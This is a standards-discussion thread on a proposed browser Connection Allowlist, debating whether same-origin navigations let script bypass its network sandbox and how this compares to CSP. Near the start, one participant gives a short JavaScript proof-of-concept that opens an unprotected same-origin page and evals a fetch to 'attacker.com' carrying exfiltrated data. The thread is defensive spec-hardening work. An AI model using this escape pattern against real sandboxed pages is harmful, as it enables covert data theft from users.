response-origin token allows for connection sandbox bypass.

[terjanq]

As I currently see the specification, allowing the response-origin looks benign and doesn't seem to pose security implications at first sight. This is far from truth though as response-origin enables trivial exfiltration vectors from same-origin navigations to a non-sandboxed endpoint.

To demonstrate the issue:

// Similar can be done with iframes
var win = open('/unprotected-404-error-page-this-would-probably-point-to');
setTimeout(()=>{
  win.eval("fetch('//attacker.com?exfil=123')");
}, 1000)

One solution could be to propagate the network sandbox on same-origin requests, but then a similar issue could be stemming if CSP was needed in addition to the Connection Allowlist to create an effective sandbox.

Another solution would be to limit the default list of URLs to be strictly an allowlist of non-navigational requests, and to allow a navigation it needs to be enabled separately through the already proposed allow-navigation=, while clearly noting that same-origin navigations could lead to a complete connection sandbox bypass.

[Obinnabii]

also curious how an empty allowlist works:

i.e. connections-allowlist: ( )

[mikewest]

I don't think the extra window is necessary. Frames will do just as well, offering the same capability. (That said, unless I've misunderstood the suggestion I think you'd want to request something other than ?, as that would presumably load the same page along with the header which delivers your policy. You'd need to target an unprotected page on the same origin, e.g. /unprotected-404-error-page-this-would-probably-point-to.)

Just like CSP, this mechanism is predicated upon a policy that applies to a document. Other documents on the same origin might have different policies. We don't call that a CSP bypass, I'm not sure it's reasonable to consider it an allowlist bypass. Do the models need to be different, in your view?

[mikewest]

(Also, @Obinnabii, an empty allowlist should block all outgoing connections by ensuring that no patterns are allowlisted.)

[terjanq]

I don't think the extra window is necessary. Frames will do just as well, offering the same capability. (That said, unless I've misunderstood the suggestion I think you'd want to request something other than ?, as that would presumably load the same page along with the header which delivers your policy. You'd need to target an unprotected page on the same origin, e.g. /unprotected-404-error-page-this-would-probably-point-to.)

Correct.

Just like CSP, this mechanism is predicated upon a policy that applies to a document. Other documents on the same origin might have different policies. We don't call that a CSP bypass, I'm not sure it's reasonable to consider it an allowlist bypass. Do the models need to be different, in your view?

In my view, the threat models need to be different. With CSP, granting an attacker the ability to inject scripts is generally considered "game over," as there are numerous ways to bypass other restrictions, such as connect-src 'none'. Conversely, the threat model for the Connection Allowlist (CA) assumes that malicious JavaScript is an in-scope capability.

One advantage CSP has over the current CA proposal is its granularity; it is possible to allow same-origin resource fetching (via connect-src 'self') while simultaneously blocking same-origin iframes (via frame-src 'none'). I can see how a CA-sandboxed page might need to fetch relatively safe same-origin resources - such as scripts or styles - without necessarily requiring the allowance of same-origin navigations (e.g., popups or iframes).

In a CSP sandbox, any iframe or popup (unless allow-popups-to-escape-sandbox is specified) inherits the sandbox properties. I believe it is worth exploring how we can improve the threat model of CA to achieve similar capabilities.

[mikewest]

Generally, it sounds like your concern isn't limited to response-origin, except insofar as you see it as a potentially broader-than-expected grant that might be more than developers expect? That is, even if we dropped that keyword, developers could include ("https://prod.site.example/" "https://test.site.example/") in their allowlist and you'd have the same worry?

I agree with you that obtaining access to a same-origin window's handle whose policy is distinct would allow you to use that handle to leak data. The other direction is true as well, of course, insofar as injecting into that other page would allow it to grab data from your well-protected page and exfiltrate it directly. Is that something we need to defend against? Isn't the server responsible at some point for defining a set of policies that reflect the intended capability of the origin at large?

With CSP, granting an attacker the ability to inject scripts is generally considered "game over," as there are numerous ways to bypass other restrictions, such as connect-src 'none'.

I think that's true for script-src. I don't think it's true for other directives, which have the same set of weaknesses regarding same-origin contexts with distinct policies that you're pointing out here.

I also think that it's helpful for developers to craft a CSP specifically targeting script injection, while relying on something more like this proposal to mitigate exfiltration risks. We should tell developers to do that, rather than trying to do everything in one tool. :)

One advantage CSP has over the current CA proposal is its granularity; it is possible to allow same-origin resource fetching (via connect-src 'self') while simultaneously blocking same-origin iframes (via frame-src 'none'). I can see how a CA-sandboxed page might need to fetch relatively safe same-origin resources - such as scripts or styles - without necessarily requiring the allowance of same-origin navigations (e.g., popups or iframes).

The current proposal tries to draw a simple line: once you've allowed yourself to talk to a given server, you're trusting it with data (and, implicitly, you're also trusting it to do reasonable things with the data, including creating conduits to sharing it with other servers: see the redirect conversation in #7 for example). It's intentionally aiming to avoid the granularity CSP provides, as that granularity seems (to me) to make it more difficult for developers to use the tool effectively.

In a CSP sandbox, any iframe or popup (unless allow-popups-to-escape-sandbox is specified) inherits the sandbox properties. I believe it is worth exploring how we can improve the threat model of CA to achieve similar capabilities.

I think sandbox's behavior is somewhat hard to square with our general desire to stop pages from messing with each other. :) That said, it's justifiable given the not-at-all-granular controls it offers: "No script at all." is quite different from "You can load only these specific script patterns." Imposing an allowlist on other documents without opt-in seems like a bad idea generally. I think we can do something like #1 in a somewhat straightforward manner, but I'm not sure about inheritance beyond that.

[terjanq]

The other direction is true as well, of course, insofar as injecting into that other page would allow it to grab data from your well-protected page and exfiltrate it directly. Is that something we need to defend against? Isn't the server responsible at some point for defining a set of policies that reflect the intended capability of the origin at large?

I'd say that the answer is yes and no. If I am not mistaken, the main use-case for the connection allowlist is data exfiltration. Currently, there are no ways for the servers to deploy set of policies that would help them achieve this goal, and CA help to fill this gap.

In the original example that I posted, there is no way of allowing loading the /script.js from same-origin context without compromising the entire sandbox primitive if malicious JavaScript is the modeled risk. In CSP, the page can enforce strict framing policies so that same-origin are blocked, but then there is a concerns with popups that the CSP cannot prevent. One way to achieve the goal could be to completely block all popups through CSP: sandbox, but this doesn't really address the problem if some sort of popups are desired.

It's intentionally aiming to avoid the granularity CSP provides, as that granularity seems (to me) to make it more difficult for developers to use the tool effectively.

I do agree that the granularity should be simpler than CSP, but I would love to see separation between network responses and navigations. In the CA threat model, loading a compromised JavaScript doesn't immediately lead to CA sandbox bypass, as its constrained by the same sandbox primitives. It is not the case for navigations. Opening a popup / iframe to a same-origin context lets that JavaScript to escape freely from the sandbox, and for the case of cross-origin navigations they greatly increase the risks of compromises as anything the page does is not constrained by the sandbox.

Imposing an allowlist on other documents without opt-in seems like a bad idea generally. I think we can do something like #1 in a somewhat straightforward manner, but I'm not sure about inheritance beyond that.

+1

[ylemkimon]

Wouldn't COEP/COOP help with this by creating a new browsing context group?

[shivanigithub]

Since this issue seems to be somewhat converging towards #1 , I'll add the enhancement label to this one as well.